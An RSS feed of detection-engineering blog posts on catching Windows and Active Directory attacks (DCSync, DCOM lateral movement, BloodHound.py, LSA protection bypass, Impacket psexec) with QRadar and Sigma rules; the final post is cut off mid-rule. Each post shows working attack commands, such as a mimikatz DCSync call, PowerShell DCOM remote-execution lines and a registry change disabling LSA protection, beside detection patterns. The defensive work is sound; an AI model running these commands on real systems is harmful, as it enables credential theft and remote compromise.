<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by cY83rR0H1t on Medium]]></title>
        <description><![CDATA[Stories by cY83rR0H1t on Medium]]></description>
        <link>https://medium.com/@cY83rR0H1t?source=rss-1ba505f008b1------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*jeLHhUhPHS5Ys7IC</url>
            <title>Stories by cY83rR0H1t on Medium</title>
            <link>https://medium.com/@cY83rR0H1t?source=rss-1ba505f008b1------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 25 Nov 2026 02:24:54 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@cY83rR0H1t/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Detecting DCSync Attacks Using QRadar and Sigma Rules]]></title>
            <link>https://medium.com/@cY83rR0H1t/detecting-dcsync-attacks-using-qradar-and-sigma-rules-1d68f5a4db00?source=rss-1ba505f008b1------2</link>
            <guid isPermaLink="false">https://medium.com/p/1d68f5a4db00</guid>
            <category><![CDATA[dcsync-attack]]></category>
            <category><![CDATA[dcsync]]></category>
            <dc:creator><![CDATA[cY83rR0H1t]]></dc:creator>
            <pubDate>Fri, 29 May 2026 08:50:24 GMT</pubDate>
            <atom:updated>2026-05-29T08:50:24.562Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*87cbXCgVLcYa0_7tGhLt5Q.png" /></figure><h4>Summary</h4><p>A <strong>DCSync attack</strong> is a credential theft technique in which an attacker impersonates a Domain Controller (DC) and requests password replication data from Active Directory. Instead of extracting credentials directly from NTDS.dit, the attacker abuses the <strong>Directory Replication Service (DRS)</strong> protocol to remotely retrieve password hashes, including sensitive accounts such as <strong>KRBTGT</strong>, <strong>Domain Admins</strong>, and privileged service accounts.</p><p>For a DCSync operation to succeed, the attacker must possess one of the following Active Directory permissions:</p><ul><li><strong>Replicating Directory Changes</strong></li><li><strong>Replicating Directory Changes All</strong></li><li><strong>Replicating Directory Changes In Filtered Set</strong></li></ul><h4>Understanding the Replication GUIDs Used in DCSync Detection</h4><h4>1. Replicating Directory Changes</h4><p><strong>GUID:</strong> 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2</p><p>This permission allows an account to replicate changes from Active Directory.</p><h4>2. Replicating Directory Changes All</h4><p><strong>GUID:</strong> 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2</p><p>This is the <strong>most critical permission for DCSync detection</strong>.It allows replication of <strong>all directory changes</strong>, including <strong>sensitive credential data</strong></p><h4>3. Replicating Directory Changes In Filtered Set</h4><p><strong>GUID:</strong> 89e95b76-444d-4c62-991a-0facbeda640c</p><p>This permission applies to replication of the <strong>filtered attribute set</strong>, commonly used in environments with <strong>Read-Only Domain Controllers (RODCs)</strong>.</p><h4>Attack command and QRadar logs</h4><pre>mimikatz # lsadump::dcsync /domain:domain-name /user:administartor</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8RtPqDijKh1QCvWnwCQ5WA.jpeg" /><figcaption>QRadar logs</figcaption></figure><h4>Detection Rule Logic:-</h4><p>Sigma Rule:-</p><pre>title: Potential DCSync Attack Detection<br>id: 2b1f6aae-1b2e-4c7a-8b9c-123456789abc<br>status: experimental<br>description: Detects suspicious DCSync activity based on Event ID 4662 with specific replication rights, excluding legitimate users.<br>logsource:<br>  product: windows<br>  service: security<br>detection:<br>  selection:<br>    EventID: 4662<br>    AccessMask: &quot;0x100&quot;<br>    Properties:<br>      - &quot;1131f6aa-9c07-11d1-f79f-00c04fc2dcd2&quot;<br>      - &quot;1131f6ad-9c07-11d1-f79f-00c04fc2dcd2&quot;<br>      - &quot;89e95b76-444d-4c62-991a-0facbeda640c&quot;<br>  filter_legit_users:<br>    Username:<br>      - &quot;MSOL_*&#39;&quot;<br>      - &quot;svc_*&quot;<br>      - &quot;backup_svc&quot;<br>      - &quot;.*$&quot; <br>      - &quot;ADConnect&quot;<br>      - &quot;AAD_&quot;<br>      - &quot;AzureADConnect&quot;<br><br>      # Add your legitimate Shared DCSync user accounts here<br>  filter_na_username:<br>    Username: &quot;N/A&quot;<br>  condition: selection and not filter_legit_users and not filter_na_username<br>falsepositives:<br>  - Authorized backup or monitoring tools with explicit DCSync rights (exclude via Username list)<br>level: high<br>tags:<br>  - attack.credential_access<br>  - attack.t1003.006</pre><p>QRadar Rule:-</p><pre>P1: DCSync Activity Detected<br>and when the event(s) were detected by one or more of Microsoft Windows Security Event Log<br>and when the event QID is one of the following (5000849) Success Audit: An operation was performed on an object<br>and NOT when any of Username are contained in any of (Shared) DCSync Legit User - AlphaNumeric (Ignore Case)<br>and when the event matches Username is not N/A<br>and when the event matches Access Mask (custom) is any of 0x100<br>and when the event matches Properties (custom) contains any of [1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 or 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 or 89e95b76-444d-4c62-991a-0facbeda640c]</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1d68f5a4db00" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Detecting DCOM Lateral Movement]]></title>
            <link>https://medium.com/@cY83rR0H1t/detecting-dcom-lateral-movement-ee2b461a8705?source=rss-1ba505f008b1------2</link>
            <guid isPermaLink="false">https://medium.com/p/ee2b461a8705</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[soc-analyst]]></category>
            <category><![CDATA[red-team-tools]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[detection-and-response]]></category>
            <dc:creator><![CDATA[cY83rR0H1t]]></dc:creator>
            <pubDate>Tue, 24 Sep 2024 08:02:48 GMT</pubDate>
            <atom:updated>2024-09-24T08:02:48.258Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/533/1*WNVB0yX_XB0sOEFmtMLA7Q.png" /></figure><h3>What is DCOM?</h3><p><strong>Distributed Component Object Model (DCOM)</strong> is a Microsoft technology that extends the Component Object Model (COM) to support communication between software components across network boundaries. DCOM facilitates remote procedure calls (RPC) between systems, allowing for interaction with remote objects. While useful for legitimate applications, attackers can misuse DCOM for executing commands remotely, bypassing traditional security controls.</p><p>Attackers abuse DCOM objects to execute commands remotely without dropping files or executing scripts, making detection more difficult.</p><p>In PowerShell, the <strong>Get-CimInstance </strong>cmdlet allows enumeration of the various Win32_DCOMApplications.</p><pre>Get-CimInstance -Query &quot;SELECT * from Win32_DCOMApplication WHERE name LIKE &#39;shell%&#39;&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/894/1*kRXyYZUIfp9y2hwGusNQ7w.png" /></figure><h4>ShellWindows</h4><p>ShellWindows is a DCOM object that represents an interface to interact with instances of Windows Explorer. Attackers use it to launch arbitrary commands and execute files remotely on another system. Since ShellWindows allows for programmatic interaction with Windows Explorer, it is often abused to launch applications like <strong>cmd.exe</strong> or <strong>powershell.exe</strong>.</p><pre>Get-CimInstance -Query &quot;SELECT * from Win32_DCOMApplication WHERE name LIKE &#39;shellwindows%&#39;&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*oDmVaLjFx1uPqyZNpQ6oNQ.png" /></figure><pre>ShellWindows:-<br>$calc = [activator]::CreateInstance([type]::GetTypeFromCLSID(&quot;9BA05972-F6A8-11CF-A442-00A0C90A8F39&quot;,&quot;10.x.x.7&quot;))<br>$calc[0].Document.Application.ShellExecute(&quot;calc.exe&quot;)<br>or<br><br>$calc[0].Document.Application.ShellExecute(&quot;cmd.exe&quot;, &quot;/c (whoami &amp; hostname &amp; dir c:\) &gt; c:\temp\test.txt&quot;, &quot;c:\windows\system32&quot;, $null, 7)</pre><p>Executing commands:-</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kov2pxfwpq1xueESCi1M_w.png" /><figcaption>commands</figcaption></figure><p>Output printed in text.txt file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*wO2ZkIq_NNETk-crqQcMTw.png" /><figcaption>Remote command output</figcaption></figure><h4>Qradar Detection:-</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HE1DCUHgf8cWdnCvKCy3ng.png" /><figcaption>commandline Detection</figcaption></figure><h4>ShellBrowserWindow</h4><p>ShellBrowserWindow is another DCOM object used to control instances of Internet Explorer or Windows Explorer.</p><pre> Get-CimInstance -Query &quot;SELECT * from Win32_DCOMApplication WHERE name LIKE &#39;ShellBrowserWindow%&#39;&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c7wt-uZuPY80Azq6HMzwug.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*J8NohqXcLno5mbABw4X-RA.png" /><figcaption>commands</figcaption></figure><pre>ShellBrowserWindow:-<br>$calc2 = [activator]::CreateInstance([type]::GetTypeFromCLSID(&quot;c08afd90-f2a1-11d1-8455-00a0c91f3880&quot;,&quot;10.x.x.7&quot;))<br>$calc2.Document.Application.ShellExecute(&quot;calc.exe&quot;)<br>or<br><br>$calc2.Document.Application.ShellExecute(&quot;cmd.exe&quot;, &quot;/c (whoami &amp; hostname &amp; dir c:\) &gt; c:\temp\test.txt&quot;, &quot;c:\windows\system32&quot;, $null, 7)</pre><p>Output printed in text2.txt file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*pQNsecvDPCIN2Y4JFRtdDw.png" /><figcaption>Remote command output</figcaption></figure><h4>QRadar Detection:-</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bi_xygk2MJCuOhjJcVWZdg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*isIF29h4WXzWbaJjTsbbfQ.png" /></figure><h4>MMC20</h4><p>MMC20.Application is a DCOM object that controls <strong>Microsoft Management Console (MMC)</strong> instances. MMC20.Application allows remote interaction with these tools, and attackers can use it to execute commands.</p><p>I couldn’t test the MMC20 command. I was getting some errors. I think it is because of the DCOM configuration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/868/1*jJd9_XXexjCtFaCP92iPFg.png" /></figure><pre>// Establishing a connection to the victim host:<br>$shell = [System.Activator]::CreateInstance([type]::GetTypeFromProgID(&quot;MMC20.Application.1&quot;,&quot;10.x.x.7&quot;))<br>or<br>$shell = [activator]::CreateInstance([type]::GetTypeFromProgID(&quot;MMC20.Application&quot;,&quot;10.x.x.7&quot;))<br><br>// Executing command on the victim system via DCOM object:<br>$shell.Document.ActiveView.ExecuteShellCommand(&quot;cmd&quot;,$null,&quot;/c whoami &amp; hostname &gt; c:\temp\test.txt&quot;,&quot;7&quot;)</pre><h4>QRadar Detection Rule:-</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/683/1*jr4NMM6CmbDNFk_Rk7-h5w.png" /><figcaption>Rule conditions</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/1*SUF9BuqYhznhl_VbNDXOzw.png" /><figcaption>Reference set</figcaption></figure><p>The below rule is capturing the above “Test: DCOM Attack Monitor” conditions first. After matching all the above conditions, the main rule “Test: P1: DCOM Lateral Movement” rule will trigger.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*9TlVE4R4fwNQli9-U7uPIA.png" /><figcaption>Final Rule Condition</figcaption></figure><pre>Reference set:-<br>Test: DCOM Attack Monitor<br>and when the event(s) were detected by one or more of Microsoft Windows Security Event Log<br>and when the event matches Event ID is any of 4104<br>and when the event matches Command (custom) contains all of [activator or CreateInstance]<br>and when the event matches Command (custom) contains any of  [GetTypeFromCLSID or GetTypeFromProgID]<br>and when the event matches Command (custom) contains any of [9BA05972-F6A8-11CF-A442-00A0C90A8F39 or c08afd90-f2a1-11d1-8455-00a0c91f3880 or 7e0423cd-1119-0928-900c-e6d4a52a0715 or MMC20.Application]<br><br><br>Test:DCOM Lateral Movement Detection<br>and when the event(s) were detected by one or more of Microsoft Windows Security Event Log<br>and when the event matches Event ID is any of 4104<br>and when the event matches Command (custom) contains any of [Document.Application.ShellExecute or Document.ActiveView.ExecuteShellCommand]<br>and when any of Machine Identifier (custom) are contained in any of (Shared) DCOM Lateral Movement - AlphaNumeric (Ignore Case)</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ee2b461a8705" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Detecting Python BloodHound]]></title>
            <link>https://medium.com/@cY83rR0H1t/detecting-python-bloodhound-8ae5130ebc60?source=rss-1ba505f008b1------2</link>
            <guid isPermaLink="false">https://medium.com/p/8ae5130ebc60</guid>
            <category><![CDATA[hacking-tools]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyberattack]]></category>
            <category><![CDATA[blue-team]]></category>
            <category><![CDATA[active-directory]]></category>
            <dc:creator><![CDATA[cY83rR0H1t]]></dc:creator>
            <pubDate>Fri, 16 Aug 2024 12:01:24 GMT</pubDate>
            <atom:updated>2024-09-25T13:06:30.014Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*pm1AAoZxs4dLDE_ANow2dw.png" /></figure><p><strong>Bloodhound</strong> is a powerful cybersecurity tool used to map and analyze Active Directory environments.</p><p>By visualizing complex relationships between users, groups, computers, and permissions, Bloodhound helps identify potential attack paths that could be exploited by malicious actors. This allows security teams to address weaknesses and strengthen their defenses proactively.</p><p>Bloodhound can lead to multiple target name connections to “srvsvc”, “lsarpc”, and “samr” on the server side, especially when using default or “all” options.</p><p><strong>\PIPE\lsarpc</strong> — This pipe grants access to the Local Security Authority Remote Procedure Call (LSARPC) service.<br>Enumerate privileges, trust relationships, SIDs, policies and more through the LSA (Local Security Authority)</p><p><strong>\PIPE\srvsvc </strong>— Service control manager and server services, used to start and stop services and execute commands remotely.<br>The Server service allows a remote machine to create, configure, query, and delete shares through RPC over a named pipe (\\pipe\srvsvc).</p><p><strong>\PIPE\samr </strong>— This pipe provides access to the Security Accounts Manager Remote (SAMR) service.<br>Enumerate domain users, groups and more through the local SAM database</p><p>Ref:- <a href="https://github.com/dirkjanm/BloodHound.py/blob/e8b0b7aa1d8e48e29a393ba12c86a3c6ba70e458/bloodhound/ad/computer.py#L447">https://github.com/dirkjanm/BloodHound.py/blob/e8b0b7aa1d8e48e29a393ba12c86a3c6ba70e458/bloodhound/ad/computer.py#L447</a></p><h3>Attack Command:-</h3><pre>python3 bloodhound.py -c All -u Username -p &#39;Pasword&#39; -d Domain -ns IPAddress --dns-tcp</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/495/1*aYdIF_DvCJ1pFHtNIV56zw.png" /><figcaption>Python BloodHound Screenshot</figcaption></figure><h3>How to Detect:-</h3><ol><li>Event ID 5145. This event is generated everytime a network share object (file or folder) is accessed.</li><li>Relative Target Name of the accessed target file or folder. This file path is relative to the network share.</li></ol><h4>Logic:-</h4><pre>Matches All the conditions:-<br>* Event ID 5145<br>* 3 Events with the Same Account Name<br>* Relative Target Name: srvsvc, lsarpc, and samr<br>* Account Name Doesn&#39;t contain $.</pre><h4>Qradar Rule:-</h4><p><strong>Logic: 1</strong></p><pre>Test: Bloodhound python<br>and when the event(s) were detected by one or more of Microsoft Windows Security Event Log<br>and when the event QID is one of the following (5001471) Success Audit: Network Share Object Checked for Access<br>and when the event matches Account Name (custom) does not match any of expressions .*\$<br>and when the event matches Relative Target Name (custom) is any of [srvsvc or samr or lsarpc]<br>and when at least 3 events are seen with the same Account Name (custom) and different Relative Target Name (custom) in 1 minutes</pre><p>Logic: 2</p><pre>Test: P1: Detects suspicious usage of python bloodhound script<br>and when all of these Custom: BB: Security Accounts Manager Remote (SAMR), Custom: BB: Local Security Authority Remote Procedure Call (LSARPC), Custom: BB: Service control manager and server services (srvsvc), in any order, from the same source IP to any destination IP, over 10 seconds<br><br>Custom: BB: Local Security Authority Remote Procedure Call (LSARPC)<br>and when the event(s) were detected by one or more of Microsoft Windows Security Event Log<br>and when the event QID is one of the following (5001471) Success Audit: Network Share Object Checked for Access<br>and when the event matches Account Name (custom) does not match any of expressions .*\$<br>and when the event matches Relative Target Name (custom) contains any of lsarpc<br><br>Custom: BB: Service control manager and server services (srvsvc)<br>and when the event(s) were detected by one or more of Microsoft Windows Security Event Log<br>and when the event QID is one of the following (5001471) Success Audit: Network Share Object Checked for Access<br>and when the event matches Account Name (custom) does not match any of expressions .*\$<br>and when the event matches Relative Target Name (custom) contains any of srvsvc<br><br>Custom: BB: Security Accounts Manager Remote (SAMR)<br>and when the event(s) were detected by one or more of Microsoft Windows Security Event Log<br>and when the event QID is one of the following (5001471) Success Audit: Network Share Object Checked for Access<br>and when the event matches Account Name (custom) does not match any of expressions .*\$<br>and when the event matches Relative Target Name (custom) contains any of samr</pre><h4>QRadar Alert:-</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*nbxdOwBIujkzlXUUVHkP6g.png" /><figcaption>Alert Triggered</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*0Oi-SSz-9ukdUJ-bSJ1odg.png" /><figcaption>Rule Logic</figcaption></figure><p>3 Events with the Same Account name but different Relative target names.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*5Jvn1E5SKIr4njAxJQEOFQ.png" /><figcaption>Alert Events</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8ae5130ebc60" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[LSA Protection Bypass/Detection]]></title>
            <link>https://medium.com/h7w/lsa-protection-bypass-detection-16e8db3ab66c?source=rss-1ba505f008b1------2</link>
            <guid isPermaLink="false">https://medium.com/p/16e8db3ab66c</guid>
            <category><![CDATA[passwords]]></category>
            <category><![CDATA[mimikatz]]></category>
            <category><![CDATA[credentials]]></category>
            <category><![CDATA[osep]]></category>
            <dc:creator><![CDATA[cY83rR0H1t]]></dc:creator>
            <pubDate>Thu, 25 Jul 2024 10:23:01 GMT</pubDate>
            <atom:updated>2024-09-21T01:14:06.101Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/675/1*otCuvQm_CN0IIgNwzF3dWw.png" /></figure><p>In this blog, we will discuss LSA Protection Bypassing using 3 different Methods:-</p><ol><li>Mimikatz mimidrv Driver</li><li>PPL Killer Tool</li><li>Registry Key modification</li></ol><p>LSA (Local Security Authority) Protection, also known as LSA Protection Mode or LSA RunAsPPL (Run as Protected Process Light), is a security feature in Windows operating systems designed to enhance the protection of the Local Security Authority Subsystem Service (LSASS). LSASS is a critical component responsible for enforcing the security policy on the system, handling password changes, creating access tokens, and managing user logins.</p><p>If LSA protection is not configured. We will get an error. The following registry key check indicates that LSA protection is not configured</p><pre>reg query &quot;HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa&quot; /v RunAsPPL</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/939/1*f1aW5kR8kz18gKW5ebcjLQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S086Ku-U-icvnm2ymw-SEw.png" /></figure><p>We can run the Mimikatz tool to dump the credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/814/1*yCIEoXDIvGsZNK5cKxyatg.png" /></figure><h4>How To Implement LSA Protection</h4><p><strong>Method 1: Registry Editor</strong></p><p>LSASS supports PPL protection, which can be enabled in the registry. This is done through the RunAsPPL DWORD value in HKLM\SYSTEM\CurrentControlSet\Control\Lsa with a value of 1</p><pre>1. Open the Registry Editor (RegEdit.exe)<br>2. Navigate to the registry key that is located at “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa”<br>3. Right-click and create a new value of the registry key as a DWORD (32bit) Value<br>4. Set the value name as “RunAsPPL” and set the value data as “1 (Hexadecimal)”<br>5. Restart your computer.</pre><pre>reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL /t REG_DWORD /d 1 /f</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*curM2MfSRgHpI2oHrO9ZNA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/934/1*WsD-iri5bPvaeLQ9j6moQA.png" /><figcaption>RunAsPPL=dword:00000001 to to enable LSA protection with a UEFI variable.</figcaption></figure><h4>Method 2: Domain Level Group Policy</h4><pre>1. Open the Group Policy Management.<br>2. Create a new Group Policy Object (GPO) linked at the domain level.<br>3. Right-click the GPO, and then select Edit to open the Group Policy Management Editor.<br>4. Expand Computer Configuration, expand Preferences, and then expand Windows Settings.<br>5. Right-click Registry, point to New, and then select Registry Item.<br>6. Set the following values:<br>    Action: Update<br>    Hive: HKEY_LOCAL_MACHINE<br>    Key Path: SYSTEM\CurrentControlSet\Control\Lsa<br>    Value name: RunAsPPL<br>    Value type: REG_DWORD<br>    Value data: 00000001 (Hexadecimal)<br>7. Select OK.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/417/1*tHGzbWAk4XA9gbMzJkwS2w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/399/1*qK0b77-7x0h9Y4JJ66Ivlg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/371/1*4LdA1VYhs4QtmCmdYFRbaw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*lQhfHk3s3aiFZ9asjaE0Gg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*sS_SqQ4qVfvRUU1tKmV9OA.png" /></figure><p>Use the gpupdate command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ddo1gqqQ27TWR88qh8S-UA.png" /></figure><p>The sekurlsa::logonpasswords command returns the error value 0x00000005 (Access denied).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/828/1*lKo3kCTTyP4T9SfUvFpUQg.png" /></figure><h3>Bypassing LSA Protection:-</h3><h4>Method 1: Load mimidrv Driver</h4><p>SeLoadDriverPrivilege privilege and the ability to load any signed drivers. Mimikatz can load the mimidrv.sys driver with the !+ command</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/539/1*N0tIvmNTVWD92m_iiEIybA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*x3M76qvWrjedzc5sqU8VAQ.png" /></figure><p>Once the driver is loaded, we can use it to disable the PPL protection for LSASS through the !processprotect command.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*3eFM7EBJpr1FZJDGMTx-FA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*z8A1bKST-B0o21UM5gKdHQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/715/1*6X8Y3ZwITsKfA7-rXnRKag.png" /><figcaption>QRadar logs</figcaption></figure><h4>Method 2: Using PPL Killer</h4><p>PPLKiller (Protected Process Light Killer) is a tool that is typically used to bypass or disable Protected Process Light (PPL) protection on Windows systems.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/963/1*ZNKBhnyYeFLavuUenCs1eA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/1*EZV8nVjU-X3I0f_74BH6Aw.png" /></figure><p>Ref:- <a href="https://github.com/RedCursorSecurityConsulting/PPLKiller?tab=readme-ov-file">https://github.com/RedCursorSecurityConsulting/PPLKiller?tab=readme-ov-file</a></p><h4>Method 3: Disable via Registry key</h4><p>Windows Registry command that modifies the registry settings related to LSA (Local Security Authority) Protection.</p><p><strong>/d 0</strong>: This specifies the data to be set for the registry value. In this case, 0 means that LSA Protection is being disabled.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VNqvBThFt-xb72nubseUDw.png" /></figure><p>Restart the system. We can run the Mimikatz now.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CgtnEiz3Fw_RD_Y0jvcS-Q.png" /></figure><h3>Detection Rule:-</h3><h4>1. QRadar Rule:- Via Load Driver</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*F2_WG-RG3FPKQsOvvGJpwg.png" /><figcaption>QRadar logs</figcaption></figure><pre>and when the event(s) were detected by one or more of Microsoft Windows Security Event Log<br>and when an event matches any of the following BB: Custom: Mimikatz/PPL Killer Driver Load<br><br><br>Building Block:-<br>BB: Custom: Mimikatz/PPL Killer Driver Load<br>and when the event(s) were detected by one or more of Microsoft Windows Security Event Log<br>and when the event matches Event ID (custom) is any of 4697<br>and when the event matches Service Name (custom) is any of [mimidrv or RTCore64 or RTCore32]<br>and when the event matches Service Start Type (custom) is any of 2<br>and when the event matches Service Type (custom) is any of 0x1</pre><h4>2. QRadar Rule:- Via Registry Key Modification</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/896/1*ufU1_xIETit5l7ggUKzG7w.png" /><figcaption>QRadar logs</figcaption></figure><pre>and when the event(s) were detected by one or more of Microsoft Windows Security Event Log<br>and when the event QID is one of the following (5000844) Success Audit: A registry value was modified<br>and when the event matches Registry Key (custom) is any of \SYSTEM\ControlSet001\Control\Lsa<br>and when the event matches Registry Value Data (custom) is any of 0<br>and when the event matches Registry Value Name (custom) is any of RunAsPPL</pre><h4>3. QRadar Rule:- Via CommandLine</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z1pO13tnJhrzZmyoToUSIQ.png" /></figure><pre>and when the event(s) were detected by one or more of Microsoft Windows Security Event Log<br>and when the event matches Event ID (custom) is any of [1 or 4688]<br>and when the event matches Process Name (custom) is any of reg.exe<br>and when the event matches Parent Process Name (custom) is any of powershell.exe<br>and when the event matches Command (custom) contains any of HKLM\SYSTEM\CurrentControlSet\Control\Lsa<br>and when the event matches Command (custom) contains all of [/v RunAsPPL or /t REG_DWORD or /d 0]</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=16e8db3ab66c" width="1" height="1" alt=""><hr><p><a href="https://medium.com/h7w/lsa-protection-bypass-detection-16e8db3ab66c">LSA Protection Bypass/Detection</a> was originally published in <a href="https://medium.com/h7w">T3CH</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Detecting Impacket Psexec.py]]></title>
            <link>https://medium.com/@cY83rR0H1t/detecting-impacket-psexec-py-0339c5f0a7be?source=rss-1ba505f008b1------2</link>
            <guid isPermaLink="false">https://medium.com/p/0339c5f0a7be</guid>
            <category><![CDATA[detection]]></category>
            <category><![CDATA[dfir]]></category>
            <category><![CDATA[psexec]]></category>
            <category><![CDATA[lateral-movement]]></category>
            <category><![CDATA[impacket]]></category>
            <dc:creator><![CDATA[cY83rR0H1t]]></dc:creator>
            <pubDate>Tue, 30 Apr 2024 13:30:53 GMT</pubDate>
            <atom:updated>2024-05-03T08:56:53.331Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*jKRamQHgoGlTJfQN9fQV_g.png" /></figure><p><strong>PsExec.py</strong> is a Python script within the Impacket collection that enables the <strong>remote execution of commands</strong> on Windows machines. In simpler terms, it allows you to run programs on another computer over a network, typically by exploiting a shared resource or administrative privileges.</p><h3>Method 1:</h3><p>Detecting Impacket psexec.py via event id 4697.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*SNmFDY-77EFRK5HcFKe32Q.png" /></figure><p><strong>Running processes:<br></strong>Whenever you run psexec.py it will create random process names.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*xdkuqfw-n_h8bGAzgpac7g.png" /><figcaption>DVhpdQEd.exe (Random process Name)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/899/1*mrvJ2hUYagFBuUVhJLK2bw.png" /><figcaption>qNRQjiuF.exe (Random process Name)</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*2yYa_-sbb1tuXVIZXE9Oiw.png" /><figcaption>File dropped in C:\Windows\</figcaption></figure><p><strong>Captured the logs in the QRadar SIEM tool:-</strong></p><p><strong><em>Service Start Type 0x10:</em></strong><em> SERVICE_WIN32_OWN_PROCESS - Service that runs in its own process.<br></em><strong><em>Service Type 3:</em></strong><em> SERVICE_DEMAND_START - Manual startup</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/878/1*qRQhj6FJYHE5qBg_tl6Drg.png" /><figcaption>Qradar Logs</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*C1gXghln5ODqZGCADSZ0Rg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/673/1*T-dfUMbFwH6fy4uwQ5Iv0A.png" /><figcaption>QRadar alert generated</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/706/1*m2NZ2xcQd4K3xnUleZ2N6g.png" /><figcaption>QRadar rule</figcaption></figure><p><strong>Qradar Detection Rule:</strong></p><pre>Detects execution of 